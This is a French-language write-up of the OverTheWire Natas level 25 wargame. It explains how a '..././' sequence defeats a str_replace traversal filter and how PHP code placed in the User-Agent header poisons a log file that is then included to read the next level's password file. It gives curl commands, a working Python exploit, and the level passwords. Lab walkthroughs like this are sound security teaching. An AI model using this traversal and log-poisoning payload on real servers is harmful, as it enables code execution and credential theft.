Natas 25
Level Goal
Username: natas25
Password: GHF6X7YwACaYYssHVY05cFq83hRktl4c
URL: http://natas25.natas.labs.overthewire.org
En se connectant à la page du challenge 25 (curl http://natas25.natas.labs.overthewire.org -u natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c
) on arrive sur une page avec une citation du film Bad Boy Bubby
qui peut être affichée dans plusieurs langue. Le code source de cette page est le suivant :
<?php
// cheers and <3 to malvina
// - morla
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
[...]
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
[...]
<?php
session_start();
setLanguage();
echo "<h2>$__GREETING</h2>";
echo "<p align=\"justify\">$__MSG";
echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
Trois fonctions sont intéressantes :
setLanguage()
, qui récupère le paramètre de requêtelang
et le passe à la fonctionsafeinclude()
safeinclude()
, qui va effectuer plusieurs vérifications sur le paramètrelang
, notamment :- vérifier qu'il n'y a pas de caractères
../
qui permettrait d'effectuer une attaque de type Directory traversal. Le cas échéant, remplacer toutes les occurences de../
par une chaine vide (language/../
deviendraitlanguage/
) - vérifier que le paramètre n'inclus pas le terme
natas_webpass
, retourner une erreur le cas échéant - enfin, inclure le fichier de destination
- vérifier qu'il n'y a pas de caractères
logRequest()
, qui est appelée par la fonctionsafeinclude()
si l'un des 2 filtres ci-dessus détecte une anomalie. Un point d'importance dans cette fonction de logging est le fait qu'elle enregistre dans un fichier de log certaines valeurs, dont leHTTP_USER_AGENT
du navigateur de l'utilisateur, sans appliquer de filtre
La fonction listFiles()
n'est elle par contre malheureusement pas exploitable.
Directory transversal
Pour faciliter la résolution de ce problème il est important de noter que l'utilisation de str_replace()
n'est jamais une bonne idée pour sécuriser le contenu d'une variable.
En effet, il est possible d'anticiper le fait que certaines suites de caractères seront supprimées. Ainsi, si l'on a :
str_replace("../", "", $filename")
Alors si $filename
a la valeur ..././
le résultat de str_replace()
sera ../
(str_replace()
ne remplaçant que les occurences d'origine).
Vérifions ce point via la commande curl suivante :
curl --form lang='..././index.php' \
http://natas25.natas.labs.overthewire.org -u natas25:GHF6X7YwACaYYssHVY05cFq83hRktl4c
Comme attendu on obtient une erreur lié à la redéclaration d'une variable (la page index.php
cherchant à s'inclure elle même, redéclarant ses fonctions et variables).
Filtre de comparaison
On sait que le fichier dont on veut lire le contenu est /etc/natas_webpass/natas26
mais que pour pouvoir l'ouvrir il faut que la ligne strstr($filename,"natas_webpass")
ne détecte pas la chaîne de caractère natas_webpass
dans la variable lang
que l'on envoie, ce qui n'est pas possible
À noter que si la fonction
str_replace()
de l'étape précédente était appelée après la fonctionstrstr()
, on aurait pû exploiter cela en requêtant le fichier..././..././..././etc/natas_web../pass/natas26
, qui aurait passé les deux filtres sans broncher
Log poisoning
Sachant que l'on peut ouvrir n'importe quel fichier sur le serveur qui ne contiennent pas natas_webpass
dans son chemin grâce à l'attaque de directory transversal, une solution est d'utiliser le fait que la fonction logRequest()
enregistre sans le filtrer le HTTP_USER_AGENT
qu'on lui donne.
Cela laisse la porte ouverte à une faille de log poisoning qui consiste à écrire volontairement du code malveillant dans les fichiers de log. Cela peut être utile dans 2 scénarios :
- si le fichier de log est exécuté par le serveur, ce qui permet d'exécuter des commandes arbitraire
- si le contenu du fichier de log est utilisé dans une interface web, ce qui peut permettre d'utiliser une faille XSS.
Dans notre cas c'est le premier scénario qui nous intéresse. Essayons d'effectuer une requête avec un user-agent contenant du code php, puis utilisons le cookie de session pour trouver le fichier de log contenant le résultat et enfin ouvrons le via la faille de directory transversal.
import requests
response = requests.post(
"http://natas25.natas.labs.overthewire.org",
params={"lang": "natas_webpass"},
headers={
"User-Agent": "<?php echo file_get_contents('/etc/natas_webpass/natas26'); ?>"
},
auth=requests.auth.HTTPBasicAuth("natas25", "GHF6X7YwACaYYssHVY05cFq83hRktl4c"),
)
session = response.cookies.get_dict()["PHPSESSID"]
log_file = f"/var/www/natas/natas25/logs/natas25_{session}.log"
exploit = f"..././..././..././..././..././{log_file}"
response = requests.post(
"http://natas25.natas.labs.overthewire.org",
params={"lang": exploit},
auth=requests.auth.HTTPBasicAuth("natas25", "GHF6X7YwACaYYssHVY05cFq83hRktl4c"),
)
print(response.text)
Dans la réponse du serveur on trouve le mot de passe de la prochaine épreuve : oGgWAJ7zcGT28vYazGo4rkhOPDhBu34T